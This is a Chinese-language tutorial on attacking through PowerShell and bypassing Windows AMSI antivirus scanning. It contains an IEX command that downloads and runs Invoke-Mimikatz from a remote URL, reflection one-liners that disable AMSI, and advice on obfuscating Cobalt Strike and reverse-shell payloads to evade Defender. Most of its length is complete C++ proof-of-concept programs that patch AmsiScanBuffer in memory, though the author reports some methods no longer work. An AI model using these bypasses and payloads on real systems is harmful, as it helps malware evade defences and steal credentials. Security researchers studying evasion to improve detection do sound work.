**DisableRegistryTools**

powershell 介绍

  • 它诞生于 2006 年,是一款功能强大的命令行 Shell 和脚本语言。
  • 面向对象,PowerShell 不仅可以处理文本,还可以处理结构化数据。
  • 基于 .NET 构建:这使得 PowerShell 能够深入访问 Windows 内部机制,并使其在系统管理方面拥有极其强大的功能。
  • PowerShell 现在可以在 Windows、Linux 和 macOS 上运行,提供了更广泛的适用性。

PowerShell 及其内存加载功能

Invoke-Expression (IEX) 允许在当前会话中将字符串作为 PowerShell 命令执行

Invoke-Expression "Get-Process"

运行 “Get-Process” 并返回活动进程的列表。

PowerShell Exploits

但是运行如下的命令(从提供的URL下载脚本并执行)

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowershellMafia/Powersploit/refs/heads/master/Exfiltration/Invoke-Mimikatz.ps1')

PowerShell Exploits

因为存在AMSI,执行恶意脚本会被禁止

使用 Import-Module加载

Import-Module cmdlet 是一个内置的 PowerShell 命令,用于向当前会话添加一个或多个模块。在 PowerShell 的上下文中,模块是一个包含 PowerShell 成员(包括 cmdlet、提供程序、函数、变量等)的包。

Import-Module .\Invoke-Mimikatz.ps1
  1. 首先,PowerShell 在当前目录中搜索指定的模块,其中.\Invoke-Mimikatz.ps1是会报毒的。如果未找到,PowerShell 将检查预定义的模块路径。
  2. 接下来,如果存在模块清单文件 (.psd1),PowerShell 会读取该文件以确定模块的属性、依赖项以及任何所需的程序集。之后,所有必要的 .NET 程序集都会加载到 PowerShell 进程中。
  3. 然后,导出的项目将集成到会话的函数和变量表中,这允许直接访问它们,就像它们是本机命令一样。为了提高性能,该模块被缓存在内存中,以便在后续导入期间更快地访问。
  4. 如果模块依赖于其他模块或脚本,PowerShell 也会以递归方式导入它们。此外,在执行模块中的任何代码之前,PowerShell 会检查系统的执行策略,以确保允许运行模块。

优点:

  • 代码直接在内存中运行,不会在磁盘上留下任何痕迹。
  • 攻击者可以动态地生成、修改和混淆代码,从而快速适应不同的环境并规避安全措施。
  • 整个框架和复杂的工具可以加载到内存中,使攻击者无需安装软件即可获得全套功能。

AMSI 原理

PowerShell Exploits

powershell执行时会加载amsi.dll调用其中的API

反恶意软件扫描接口 (AMSI) 是一个深度集成于 Windows 操作系统的复杂安全框架。

AMSI 利用组件对象模型 (COM) 接口实现 Windows、应用程序和防病毒解决方案之间的顺畅交互。这些接口促进了无缝通信和集成,从而有效地检测恶意软件。AMSI 架构的关键组件包括:

  • amsi.dll 是用于执行扫描操作的中央 AMSI 库。
  • AmsiScanBuffer 和 AmsiScanString 函数分别负责扫描内存中的数据缓冲区和字符串,以查找潜在威胁。

IAntimalwareProvider:防病毒软件用于与 AMSI 集成的接口,允许第三方安全解决方案在 AMSI 框架内为威胁检测。(借一张图解释一下

PowerShell Exploits

初始化:

这些应用程序使用 AmsiInitialize 函数配置其扫描上下文:

HRESULT AmsiInitialize(   LPCWSTR appName,   HAMSICONTEXT *amsiContext );

appName 参数指定应用程序的名称,而 amsiContext 参数是指向将在后续 AMSI API 调用中使用的句柄的指针。

内存扫描:

AMSI 执行内存扫描的能力是检测直接在系统内存中运行的复杂、无文件恶意软件的关键特性,从而逃避传统的基于磁盘的检测方法。

AmsiScanBuffer 函数是此功能的核心:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

这个功能能直接在内存中加载和执行的脚本,绕过磁盘存储和传统的基于文件的扫描。

情景感知扫描:

AmsiOpenSession 函数用于在现有 AMSI 上下文中创建会话:

HRESULT AmsiOpenSession(
  HAMSICONTEXT amsiContext,
  HAMSISESSION *amsiSession
);

**amsiContext**:从 AmsiInitialize 获取的 AMSI 上下文的句柄。

**amsiSession**:指向将表示新会话的句柄的指针。

这个函数在成功时返回 S_OK,如果失败,则返回 HRESULT 错误代码。

AMSI(反恶意软件接口)主要用于检测和处理潜在的恶意软件。它的工作方式可以简单理解为:

  • 不同的安全软件会对程序进行扫描,并返回结果。这些结果从 AMSI_RESULT_CLEAN AMSI_RESULT_MALWARE
  • AMSI 会把这些结果汇总在一起,并根据每个安全软件的信誉和可靠性进行加权。
  • 允许执行:如果认为安全,就让程序继续运行。
  • 阻止执行:如果发现问题,就会阻止程序运行,并通知相关应用。
  • 记录信息:在某些情况下,AMSI 还会记录更多信息、发出警报,或者进行更深入的扫描。

Bypassing AMSI (An-Overview)

Invoke-Obfuscation+Reverse Shell Generator(项目时间太久可用性降低)

  • 隐藏 Obfuscation →真正含义会改变代码的外观,而不会改变它的功能。例如,编写 “H” + “e” + “l” + “l” + “o”,而不是写 “Hello”。它仍然是 “Hello” 的意思,但看起来不同;
  • 使内容变得混乱 — > Obfuscation 添加了额外的内容,这些内容不会执行任何重要作;
  • 使用奇怪的名称,而不是为代码中的事物使用明确的名称,混淆使用随机或误导性的名称;
  • 使用编码例如,当以 Base64 编码时,“Hello” 可能会变为 “SGVsbG8=”。(该方法失效)

Invoke-Obfuscation导入到powershell中时Windows defend会拦截,关闭win denf即可正常使用

使用Reverse Shell Generator直接生成的payload使用是会被AMSI拦截的

PowerShell Exploits

但是使用Invoke-Obfuscation项目混淆一下生成的payload就能正常绕过AMSI检测

PowerShell Exploits

PowerShell Exploits

PowerShell Exploits

(测试环境为Windows defended)

amsiInitFailed 设置为true

使用 .NET 反射通过将其内部 amsiInitFailed 标志设置为 true 来禁用 AMSI。

$t=[Ref].Assembly.GetType(('System.Manage'+'ment.Automa'+'tion.AmsiUtils'));$f=$t.GetField(('amsiIn'+'itFailed'),'NonPublic,Static');$f.SetValue($null,$true)

如果直接使用该指令会被禁止,所以需要使用一定混淆

PowerShell Exploits

  • System.Management.Automation 程序集中的 AmsiUtils 类;
  • amsiInitFailed 字段设置为 true,强制 AMSI 初始化失败;
  • 字符串被拆分为(“System.Manage”+“ment.Automation”+“tion.AmsiUtils”)。

Base64 + ASCII 混淆该方法使用 Base64 和 ASCII 编码对关键字符串进行混淆

$s=[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM='));
$t=[Ref].Assembly.GetType($s);
$t.GetField([System.Text.Encoding]::ASCII.GetString((97,109,115,105,73,110,105,116,70,97,105,108,101,100)),'NonPublic,Static').SetValue($null,$true);
  • 将“System.Management.Automation.AmsiUtils”从 Base64 解码。
  • 将“amsiInitFailed”从 ASCII 字节值转换。
  • 使用反射禁用 AMSI。

但是这种方式现在能够检测

PowerShell Exploits

(方法奏效,但是需要重新考虑免杀手法)可搭配上面的Invoke-Obfuscation项目使用

psh_obfuscator.rb

这是一个使用使用Ruby写的混淆.ps1脚本

核心功能:

标识符混淆:

  • 替换函数名(如 Get-DataaBcDeFg
  • 替换参数名(如 -UserName-XyZ123
  • 替换变量名(如 $Connection$LoLpOl

注释清除:

  • 移除单行注释(# comment
  • 移除多行注释(<# comment #>

保留关键字保护:

  • 自动跳过 PowerShell 内置变量(如 $_, $Host
def generate_random_str 
  [*"a".."z", *"A".."Z"].sample(MAX_LENGTH).join 
end 

名称生成功能函数

script.gsub(/#{f}\b/,  obf) 

函数混淆函数

script.gsub(/\$#{a[1..]}\b/,  obf)  
script.gsub(/#{a.sub('$',  '-')}\b/, obf.sub('$',  '-')) 

参数混淆

script.gsub(/\$#{var[1..]}\b/i,  obf) 

变量混淆

使用方法:

需要先安装Ruby环境,然后将脚本中的SCRIPT_PATH = "Invoke-Example.ps1" 换成SCRIPT_PATH = ARGV[0] || "Invoke-Example.ps1" 这样使用起来更加灵活

PowerShell Exploits

其中payload.ps1是Cobalt Strike生成的powershell脚本,直接使用psh_obfuscator.rb项目进行混淆

PowerShell Exploits

看内容混淆力度并不是很强,使用沙箱测试

PowerShell Exploits

这个是原生的payload.ps1脚本

PowerShell Exploits

这个是混淆之后的脚本,很明显有一定的效果

AMSI Patching(这些方法现在均已失效)

使用 C 编程修补AMSI的各种方法。 (以下所有测试均采用Windows 11 专业中文版 24H2 操作系统版本 26100.3194;Windows defended开启环境)

** WriteProcessMemory 进行函数修补**

这个方法会直接覆盖amsi.dll中的代码

HMODULE amsiDll = LoadLibraryA("amsi.dll");
FARPROC functionAddr = GetProcAddress(amsiDll, "AmsiScanBuffer");
unsigned char patch[] = {0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3};
WriteProcessMemory(GetCurrentProcess(), functionAddr, patch, sizeof(patch), NULL);
  • LoadLibraryA("amsi.dll") 将 AMSI DLL 加载到进程内存中。
  • GetProcAddress() 获取 AmsiScanBuffer 函数的内存地址。
  • 0xB8:MOV EAX(将值移动到 EAX 寄存器)
  • 0x57、0x00、0x07、0x80:值 0x80070057(十六进制的 E_INVALIDARG)
  • 0xC3:RET(从函数返回)
  • WriteProcessMemory() 用我们的补丁覆盖原始函数代码。

使 AmsiScanBuffer 始终返回 E_INVALIDARG,从而绕过扫描。

POC:

#include <windows.h>
#include <amsi.h>
#include <iostream>
#include <vector>
#include <string>

#pragma comment(lib, "amsi.lib")


typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void (WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);

const char* EICAR_STRING = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";

int main() {
    HRESULT hr = S_OK;
    HMODULE amsiDll = NULL;
    AmsiInitialize_t pAmsiInitialize = NULL;
    AmsiUninitialize_t pAmsiUninitialize = NULL;
    AmsiScanBuffer_t pAmsiScanBuffer = NULL;
    FARPROC functionAddr = NULL; 
    HAMSICONTEXT amsiContext = NULL;
    AMSI_RESULT scanResultBefore = AMSI_RESULT_CLEAN;
    AMSI_RESULT scanResultAfter = AMSI_RESULT_CLEAN; 
    HRESULT hrScanBefore = S_OK;
    HRESULT hrScanAfter = S_OK;
    bool patchSuccess = false;
    bool restoreSuccess = false;

    unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    // mov eax, 0x80070057 (E_INVALIDARG) ; ret
    const HRESULT EXPECTED_PATCHED_HRESULT = 0x80070057;

    std::vector<unsigned char> originalBytes(sizeof(patch));
    DWORD oldProtect = 0;
    SIZE_T bytesWritten = 0;
    SIZE_T bytesRead = 0;

    std::cout << "--- AMSI Patch Test ---" << std::endl;

    // 1. Load amsi.dll
    amsiDll = LoadLibraryA("amsi.dll");
    if (!amsiDll) {
        std::cerr << "Error: Failed to load amsi.dll. Error code: " << GetLastError() << std::endl;
        return 1;
    }
    std::cout << "[+] Loaded amsi.dll" << std::endl;

    // 2. Get function addresses
    pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsiDll, "AmsiInitialize");
    pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsiDll, "AmsiUninitialize");
    functionAddr = GetProcAddress(amsiDll, "AmsiScanBuffer"); 
    pAmsiScanBuffer = (AmsiScanBuffer_t)functionAddr; 

    if (!pAmsiInitialize || !pAmsiUninitialize || !pAmsiScanBuffer) {
        std::cerr << "Error: Failed to get AMSI function addresses. Error code: " << GetLastError() << std::endl;
        FreeLibrary(amsiDll);
        return 1;
    }
    std::cout << "[+] Got AMSI function addresses (Initialize, Uninitialize, ScanBuffer)" << std::endl;
    std::cout << "    AmsiScanBuffer address: 0x" << std::hex << (void*)functionAddr << std::dec << std::endl;

    // 3. Initialize AMSI
    hr = pAmsiInitialize(L"AMSI_Patch_Test_App", &amsiContext);
    if (FAILED(hr)) {
        std::cerr << "Error: AmsiInitialize failed. HRESULT: 0x" << std::hex << hr << std::dec << std::endl;
        FreeLibrary(amsiDll);
        return 1;
    }
    std::cout << "[+] AmsiInitialize succeeded." << std::endl;

    // 4. (Optional) Scan *before* patching to see normal behavior
    std::cout << "\n--- Scanning EICAR *before* patch ---" << std::endl;
    hrScanBefore = pAmsiScanBuffer(amsiContext, (PVOID)EICAR_STRING, (ULONG)strlen(EICAR_STRING), L"EICAR Test", NULL, &scanResultBefore);
    if (SUCCEEDED(hrScanBefore)) {
        std::cout << "[+] AmsiScanBuffer (original) call succeeded." << std::endl;
        std::cout << "    Scan Result (0=Clean, 1=NotDetected, >=32768=Detected): " << scanResultBefore << std::endl;
        if (AmsiResultIsMalware(scanResultBefore)) {
            std::cout << "    Expected: EICAR string detected as malware." << std::endl;
        }
        else {
            std::cout << "    Warning: EICAR string was *not* detected as malware by original function." << std::endl;
        }
    }
    else {
        std::cerr << "    Warning: AmsiScanBuffer (original) call failed. HRESULT: 0x" << std::hex << hrScanBefore << std::dec << std::endl;
    }

    std::cout << "\n--- Applying Patch ---" << std::endl;

    // 5. Read original bytes (need PAGE_EXECUTE_READWRITE)
    if (!VirtualProtect((LPVOID)functionAddr, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        std::cerr << "Error: VirtualProtect (for read) failed. Error code: " << GetLastError() << std::endl;
        pAmsiUninitialize(amsiContext);
        FreeLibrary(amsiDll);
        return 1;
    }
    std::cout << "[+] Set memory protection to PAGE_EXECUTE_READWRITE." << std::endl;

    if (!ReadProcessMemory(GetCurrentProcess(), (LPCVOID)functionAddr, originalBytes.data(), sizeof(patch), &bytesRead) || bytesRead != sizeof(patch)) {
        std::cerr << "Error: ReadProcessMemory (read original) failed or read incorrect size. Error code: " << GetLastError() << std::endl;
        VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &oldProtect); 
        pAmsiUninitialize(amsiContext);
        FreeLibrary(amsiDll);
        return 1;
    }
    std::cout << "[+] Successfully read original " << bytesRead << " bytes from AmsiScanBuffer entry point." << std::endl;


    // 6. Apply the patch
    if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, patch, sizeof(patch), &bytesWritten) && bytesWritten == sizeof(patch)) {
        patchSuccess = true;
        std::cout << "[+] WriteProcessMemory succeeded. Wrote " << bytesWritten << " bytes." << std::endl;
        FlushInstructionCache(GetCurrentProcess(), (LPCVOID)functionAddr, sizeof(patch));
        std::cout << "[+] Flushed instruction cache." << std::endl;
    }
    else {
        std::cerr << "Error: WriteProcessMemory failed. Error code: " << GetLastError() << std::endl;
        if (bytesRead == sizeof(patch)) {
            WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, originalBytes.data(), sizeof(patch), &bytesWritten);
        }
        VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &oldProtect); 
        pAmsiUninitialize(amsiContext);
        FreeLibrary(amsiDll);
        return 1;
    }


    std::cout << "\n--- Scanning EICAR *after* patch ---" << std::endl;

    // 7. Call the patched function
    hrScanAfter = pAmsiScanBuffer(amsiContext, (PVOID)EICAR_STRING, (ULONG)strlen(EICAR_STRING), L"EICAR Test Patched", NULL, &scanResultAfter);

    std::cout << "[+] Patched AmsiScanBuffer called." << std::endl;
    std::cout << "    Returned HRESULT: 0x" << std::hex << hrScanAfter << std::dec << std::endl;
    std::cout << "    Expected HRESULT: 0x" << std::hex << EXPECTED_PATCHED_HRESULT << std::dec << std::endl;
    std::cout << "    Output Scan Result parameter value (may be unreliable): " << scanResultAfter << std::endl;

    // 8. Check the HRESULT
    bool testPassed = (hrScanAfter == EXPECTED_PATCHED_HRESULT);


    std::cout << "\n--- Cleaning Up ---" << std::endl;

    // 9. Restore the original bytes
    if (patchSuccess) {
        if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, originalBytes.data(), originalBytes.size(), &bytesWritten) && bytesWritten == originalBytes.size()) {
            restoreSuccess = true;
            std::cout << "[+] Restored original bytes to AmsiScanBuffer." << std::endl;
            FlushInstructionCache(GetCurrentProcess(), (LPCVOID)functionAddr, originalBytes.size());
            std::cout << "[+] Flushed instruction cache after restoration." << std::endl;
        }
        else {
            std::cerr << "Error: Failed to restore original bytes. Error code: " << GetLastError() << std::endl;
        }
        if (!VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &oldProtect)) {
            std::cerr << "Error: Failed to restore original memory protection. Error code: " << GetLastError() << std::endl;
        }
        else {
            std::cout << "[+] Restored original memory protection." << std::endl;
        }
    }


    // 10. Uninitialize AMSI
    if (amsiContext) {
        pAmsiUninitialize(amsiContext);
        std::cout << "[+] AmsiUninitialize called." << std::endl;
    }

    // 11. Free the library
    if (amsiDll) {
        FreeLibrary(amsiDll);
        std::cout << "[+] Freed amsi.dll" << std::endl;
    }

    // 12. Print final result
    std::cout << "\n--- Test Result ---" << std::endl;
    if (testPassed) {
        std::cout << "PASS: Patched AmsiScanBuffer returned the expected HRESULT (0x"
            << std::hex << EXPECTED_PATCHED_HRESULT << std::dec << ")." << std::endl;
        return 0; 
    }
    else {
        std::cout << "FAIL: Patched AmsiScanBuffer did not return the expected HRESULT." << std::endl;
        std::cout << "      Expected: 0x" << std::hex << EXPECTED_PATCHED_HRESULT << std::dec << std::endl;
        std::cout << "      Received: 0x" << std::hex << hrScanAfter << std::dec << std::endl;
        return 1; 
    }
}

PowerShell Exploits

使用IDA观察amsi.dll中的AmsiScanBuffer函数

PowerShell Exploits

调试发现patch是已经成功,运行了mov eax, 80070057h,但是使用直接反弹shell还是被检测到,使用CS马测试也同样(疑似被修)

PowerShell Exploits

Memory Protection Modification

该方法临时更改目标函数的内存保护

FARPROC functionAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(functionAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(functionAddr, "\x74", 1);
VirtualProtect(functionAddr, 1, oldProtect, &oldProtect);
  • 寻找AmsiScanBuffer 函数
  • VirtualProtect() 用于将内存保护更改为 PAGE_EXECUTE_READWRITE
  • memcpy() 用 0x74(JE/JZ 指令)覆盖函数的第一个字节
  • 恢复原来的内存保护

__

POC:

#include <windows.h>
#include <iostream>
#include <vector>
#include <string> 
#include <amsi.h> 


#pragma comment(lib, "amsi.lib")

// Constants for x64 instruction opcodes
const BYTE x64_RET_OPCODE = 0xC3;      // 'ret' instruction
const BYTE x64_INT3_OPCODE = 0xCC;     // 'int3' (breakpoint) instruction
const BYTE x64_JE_OPCODE = 0x74;       // 'je' (jump if equal) instruction
const BYTE x64_JNE_OPCODE = 0x75;      // 'jne' (jump if not equal) instruction

typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void(WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);

BYTE g_originalJneByte = 0;
BYTE* g_pJneInstructionAddress = nullptr;
HMODULE g_hAmsiModule = NULL; 
FARPROC g_pActualAmsiScanBufferProc = NULL; 

bool RestoreAmsiPatch() {
    if (g_pJneInstructionAddress && g_originalJneByte != 0) {
        DWORD oldProtectRestoration;
        if (!VirtualProtect(g_pJneInstructionAddress, 1, PAGE_EXECUTE_READWRITE, &oldProtectRestoration)) {
            std::cerr << "[-] Failed to change memory protection for restoration. Error: " << GetLastError() << std::endl;
            return false;
        }
        *g_pJneInstructionAddress = g_originalJneByte;
        DWORD tempRestoration;
        VirtualProtect(g_pJneInstructionAddress, 1, oldProtectRestoration, &tempRestoration);
        FlushInstructionCache(GetCurrentProcess(), g_pJneInstructionAddress, 1);
        std::cout << "[+] Original JNE byte restored at: 0x" << std::hex << (void*)g_pJneInstructionAddress << std::dec << std::endl;
        g_pJneInstructionAddress = nullptr; 
        g_originalJneByte = 0;
        return true;
    }
    return false;
}

bool PatchAmsiScanBufferRoutine() {
    g_hAmsiModule = LoadLibraryA("amsi.dll");
    if (!g_hAmsiModule) {
        std::cerr << "[-] Failed to load amsi.dll. Error: " << GetLastError() << std::endl;
        return false;
    }

    g_pActualAmsiScanBufferProc = GetProcAddress(g_hAmsiModule, "AmsiScanBuffer");
    if (!g_pActualAmsiScanBufferProc) {
        std::cerr << "[-] Failed to get AmsiScanBuffer address. Error: " << GetLastError() << std::endl;
        FreeLibrary(g_hAmsiModule);
        g_hAmsiModule = NULL;
        return false;
    }

    std::cout << "[+] AmsiScanBuffer found at: 0x" << std::hex << (void*)g_pActualAmsiScanBufferProc << std::dec << std::endl;

    BYTE* pCode = (BYTE*)g_pActualAmsiScanBufferProc;
    BYTE* pJneInstruction = nullptr;
    BYTE* pFunctionEndCandidate = nullptr;
    const int MAX_SCAN_RANGE = 0x500;

    for (int i = 0; i < MAX_SCAN_RANGE - 2; i++) {
        if (pCode[i] == x64_RET_OPCODE &&
            pCode[i + 1] == x64_INT3_OPCODE &&
            pCode[i + 2] == x64_INT3_OPCODE) {
            pFunctionEndCandidate = &pCode[i];
            std::cout << "[+] Potential function end marker (RET, INT3, INT3) found near: 0x"
                << std::hex << (void*)pFunctionEndCandidate << std::dec << std::endl;
            break;
        }
    }

    if (!pFunctionEndCandidate) {
        std::cerr << "[-] Failed to find the specific function end marker (RET, INT3, INT3)." << std::endl;
        std::cerr << "    This patching method is highly dependent on this signature." << std::endl;
        FreeLibrary(g_hAmsiModule);
        g_hAmsiModule = NULL;
        g_pActualAmsiScanBufferProc = NULL;
        return false;
    }

    for (BYTE* pCurrent = pFunctionEndCandidate; pCurrent > pCode; pCurrent--) {
        if (*pCurrent == x64_JNE_OPCODE) {
            pJneInstruction = pCurrent;
            break;
        }
    }

    if (!pJneInstruction) {
        std::cerr << "[-] Failed to find a JNE instruction by searching backwards from the end marker." << std::endl;
        FreeLibrary(g_hAmsiModule);
        g_hAmsiModule = NULL;
        g_pActualAmsiScanBufferProc = NULL;
        return false;
    }

    std::cout << "[+] Found a JNE instruction candidate at: 0x" << std::hex << (void*)pJneInstruction << std::dec << std::endl;
    g_pJneInstructionAddress = pJneInstruction;

    DWORD oldProtect;
    if (!VirtualProtect(g_pJneInstructionAddress, 1, PAGE_EXECUTE_READWRITE, &oldProtect)) {
        std::cerr << "[-] Failed to change memory protection. Error: " << GetLastError() << std::endl;
        FreeLibrary(g_hAmsiModule);
        g_hAmsiModule = NULL;
        g_pActualAmsiScanBufferProc = NULL;
        g_pJneInstructionAddress = nullptr;
        return false;
    }

    g_originalJneByte = *g_pJneInstructionAddress;

    *g_pJneInstructionAddress = x64_JE_OPCODE;
    std::cout << "[+] Patched JNE (0x" << std::hex << (int)g_originalJneByte
        << ") to JE (0x" << (int)x64_JE_OPCODE
        << ") at: 0x" << (void*)g_pJneInstructionAddress << std::dec << std::endl;

    DWORD tempProtectionRestored;
    if (!VirtualProtect(g_pJneInstructionAddress, 1, oldProtect, &tempProtectionRestored)) {
        std::cerr << "[-] Warning: Failed to restore original memory protection immediately after patch. Error: " << GetLastError() << std::endl;
    }

    FlushInstructionCache(GetCurrentProcess(), g_pJneInstructionAddress, 1);
    return true;
}

int main() {
    std::cout << "--- AMSI Bypass via JNE to JE Patch ---" << std::endl;

    if (!PatchAmsiScanBufferRoutine()) {
        std::cerr << "[-] Initial patching routine failed." << std::endl;
        if (g_hAmsiModule) {
            FreeLibrary(g_hAmsiModule);
            g_hAmsiModule = NULL;
        }
        return 1;
    }

    HAMSICONTEXT amsiContext = NULL;
    HRESULT hrInit, hrScan;

    AMSI_RESULT scanResult = AMSI_RESULT_NOT_DETECTED; // CORRECTED INITIALIZATION

    AmsiInitialize_t pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(g_hAmsiModule, "AmsiInitialize");
    AmsiUninitialize_t pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(g_hAmsiModule, "AmsiUninitialize");
    AmsiScanBuffer_t pActualAmsiScanBuffer = (AmsiScanBuffer_t)g_pActualAmsiScanBufferProc;

    if (!pAmsiInitialize || !pAmsiUninitialize || !pActualAmsiScanBuffer) {
        std::cerr << "[-] Failed to get necessary AMSI function pointers for testing after patch." << std::endl;
        RestoreAmsiPatch();
        if (g_hAmsiModule) {
            FreeLibrary(g_hAmsiModule);
            g_hAmsiModule = NULL;
        }
        return 1;
    }

    hrInit = pAmsiInitialize(L"AMSI_JNE_Patch_Test", &amsiContext);
    if (FAILED(hrInit)) {
        std::cerr << "[-] Failed to initialize AMSI after patch. HRESULT: 0x" << std::hex << hrInit << std::dec << std::endl;
        RestoreAmsiPatch();
        if (g_hAmsiModule) {
            FreeLibrary(g_hAmsiModule);
            g_hAmsiModule = NULL;
        }
        return 1;
    }
    std::cout << "[+] AMSI initialized for testing the patch." << std::endl;

    const char* eicarTestString = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
    hrScan = pActualAmsiScanBuffer(amsiContext, (PVOID)eicarTestString, (ULONG)strlen(eicarTestString), L"EICAR_Test_Patched", NULL, &scanResult);

    std::cout << "[+] Patched AmsiScanBuffer call HRESULT: 0x" << std::hex << hrScan << std::dec << std::endl;
    std::cout << "[+] Patched AmsiScanBuffer scan result: " << scanResult
        << " (0=Clean, 1=NotDetected, >=32768 = Malware)" << std::endl;

    bool bypassEffective = false;
    if (SUCCEEDED(hrScan)) {
        if (scanResult == AMSI_RESULT_CLEAN || scanResult == AMSI_RESULT_NOT_DETECTED) {
            bypassEffective = true;
        }
        else if (AmsiResultIsMalware(scanResult)) {
            std::cout << "[-] Patch applied, but EICAR still detected as malware by AMSI_RESULT." << std::endl;
        }
        else {
            std::cout << "[?] Patch applied, HRESULT OK, but AMSI_RESULT is indeterminate: " << scanResult << std::endl;
        }
    }
    else {
        std::cout << "[-] Call to patched AmsiScanBuffer failed. HRESULT: 0x" << std::hex << hrScan << std::dec << std::endl;
    }

    if (amsiContext) {
        pAmsiUninitialize(amsiContext);
        std::cout << "[+] AMSI uninitialized." << std::endl;
    }

    RestoreAmsiPatch();

    if (g_hAmsiModule) {
        FreeLibrary(g_hAmsiModule);
        std::cout << "[+] amsi.dll freed." << std::endl;
        g_hAmsiModule = NULL;
    }
    g_pActualAmsiScanBufferProc = NULL;

    if (bypassEffective) {
        std::cout << "\n[SUCCESS] AMSI bypass via JNE->JE patch appears effective for this test." << std::endl;
        std::cout << "           (Returned S_OK and AMSI_RESULT indicates not malware)" << std::endl;
    }
    else {
        std::cerr << "\n[FAILURE] AMSI bypass via JNE->JE patch was NOT fully effective or an error occurred." << std::endl;
    }

    std::cout << "Note: This type of patch is highly version-dependent and may not work on all systems or after updates." << std::endl;

    return bypassEffective ? 0 : 1;
}

PowerShell Exploits

很明显的patch失败了,与版本有关

Assembly-Level Function Patching

注入特定的汇编指令来改变函数行为

FARPROC functionAddr = GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer");
unsigned char jumpPatch[] = {0xEB};
WriteProcessMemory(GetCurrentProcess(), functionAddr, jumpPatch, sizeof(jumpPatch), NULL);
  • 找到 AmsiScanBuffer 函数;
  • 0xE9,这是 x86/x64 汇编中近跳转的操作码;
  • 一条 5 字节跳转指令的第一个字节;
  • 需要计算并写入跳转偏移量,以重定向到自定义函数;

POC:

#include <windows.h>
#include <iostream>
#include <vector>
#include <string> // For strlen
#include <amsi.h> // For AMSI definitions

#pragma comment(lib, "amsi.lib")

// Define AMSI function pointer types (already in amsi.h, but can be kept for clarity if no conflicts)
typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void(WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);

HMODULE g_hAmsiModule_EB = NULL;
FARPROC g_pAmsiScanBuffer_EB = NULL; 
unsigned char g_originalFirstByte_EB = 0; 

HRESULT CallPatchedAmsiScanBuffer_SEH(
    AmsiScanBuffer_t pActualAmsiScanBuffer,
    HAMSICONTEXT amsiContext,
    PVOID buffer,
    ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* outScanResult,
    bool* outCrashed
) {
    *outCrashed = false;
    HRESULT hr = E_FAIL;

    __try {
        hr = pActualAmsiScanBuffer(amsiContext, buffer, length, contentName, amsiSession, outScanResult);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DWORD exceptionCode = GetExceptionCode();
        std::cerr << "!!! CRASH DETECTED within CallPatchedAmsiScanBuffer_SEH !!!" << std::endl;
        std::cerr << "    Exception code: 0x" << std::hex << exceptionCode << std::dec << std::endl;
        *outCrashed = true;
        hr = HRESULT_FROM_WIN32(exceptionCode);
        if (outScanResult) {
            *outScanResult = AMSI_RESULT_NOT_DETECTED; 
        }
    }
    return hr;
}


bool RestoreAmsiShortJmpPatch() {
    if (g_pAmsiScanBuffer_EB && g_originalFirstByte_EB != 0) {
        DWORD oldProtect;
        if (!VirtualProtect((LPVOID)g_pAmsiScanBuffer_EB, 1, PAGE_EXECUTE_READWRITE, &oldProtect)) {
            std::cerr << "[-] RestoreShortJmp: VirtualProtect failed. Error: " << GetLastError() << std::endl;
            return false;
        }
        *(unsigned char*)g_pAmsiScanBuffer_EB = g_originalFirstByte_EB;
        DWORD temp;
        VirtualProtect((LPVOID)g_pAmsiScanBuffer_EB, 1, oldProtect, &temp);
        FlushInstructionCache(GetCurrentProcess(), (LPVOID)g_pAmsiScanBuffer_EB, 1);
        std::cout << "[+] Short JMP Patch: Original byte restored." << std::endl;
        g_originalFirstByte_EB = 0; 
        return true;
    }
